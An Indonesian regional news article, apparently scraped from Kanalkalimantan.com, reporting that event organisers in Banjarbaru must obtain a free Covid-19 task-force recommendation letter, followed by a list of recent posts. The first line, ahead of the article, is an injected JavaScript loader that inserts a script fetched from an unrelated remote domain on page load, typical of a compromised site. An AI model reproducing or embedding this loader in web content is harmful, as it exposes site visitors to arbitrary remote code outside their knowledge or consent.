(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Gelar Acara di Banjarbaru Wajib Kantongi Izin Satgas Covid-19, Tidak Dipungut Biaya!


KANALKALIMANTAN.COM, BANJARBARU – Selama masa pandemi Covid-19, seluruh acara yang bersifat mengumpulkan banyak orang harus dengan izin Satgas Covid-19. Jika tidak, maka acara bisa dibubarkan.

Di kota Banjarbaru, saat ini telah memperbolehkan menggelar acara. Hanya saja, pihak pelaksana acara wajib mengantongi surat izin rekomendasi yang dikeluarkan oleh Satuan Tugas (Satgas) Covid-19 Banjarbaru.

Koordinator Sekretariat Satgas Covid-19 Banjarbaru, Zaini Syahranie, mengungkapkan bahwa untuk mendapatkan surat izin rekomendasi tersebut, pihak pelaksana acara harus mengajukan permohonan lebih dulu.

Adapun permohonan tersebut diajukan satu minggu sebelum jadwal diselanggarakannya acara.

“Permohonan itu bentuknya seperti formulir dan diajukan ke kita satu pekan sebelum digelarnya acara.

Kami dari Satgas Covid-19 Banjarbaru akan melihat dan menilai seperti apa acara yang diselenggarakan itu, sesuai dengan keterangan pihak yang menyelenggarakannya,” katanya, Kamis (8/10/2020).

Dalam prosesnya, Satgas Covid-19 yang juga melibatkan TNI dan Polri, akan menilai acara yang diajukan tersebut, apakah memenuhi dan melaksanakan ketentuan protokol kesehatan. Jika telah dipastikan, maka Satgas Covid-19 akan mengeluarkan surat izin rekomendasi yang dimaksud.

“Jika surat izin rekomendasi ini kita keluarkan, artinya acara yang diajukan itu sudah disetujui untuk terlaksana. Tapi, Satgas Covid-19 melalui tim penegakan tetap akan melakukan monitoring saat nantinya acara berlangsung,” tambah Zaini.

Disamping itu, Zaini juga menepis isu bahwa proses pembuatan surat izin rekomendasi tersebut dikenakan biaya.

Ia menegaskan bahwa pihaknya tak pernah memungut biaya sepeserpun dalam baik dalam menyetujui rekomendasi hingga menerbirkan surat izin tersebut.

“Jadi atas nama koordinator, kami tegaskan bahwa rekomendasi yang kami berikan ini tidak memungut biaya sepeserpun. Permohonan rekomendasi ini gratis,” tegasnya.

Hingga kini, surat izin rekomendasi penyelenggaraan acara yang dikeluarkan oleh Satgas Covid-19 Banjarbaru didominasi oleh acara akad dan resepsi pernikahan. Termasuk juga acara bertemakan sosialisasi dan seminar.

Bagi masyarakat atau pihak manapun yang ingin mendapatkan surat izin rekomendasi penyelanggaraan acara, dapat mengajukan permohonan di kantor Sekretariat Satgas Covid-19 yang berlokasi di Balai Pemerintah Kota Banjarbaru.

“Permohonan tertulis dengan mengisi formulir itu. Nanti kami akan menilai apakah sudah memenuhi syarat protokol kesehatan serta mempertimbangkan jumlah orang yang hadir,” lugas Zaini. (Kanalkalimantan.com/rico)

Reporter: Rico
Editor: Cell


Desy Arfianty

Recent Posts

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

21 menit ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

1 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

2 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

2 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

2 jam ago

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

10 jam ago

This website uses cookies.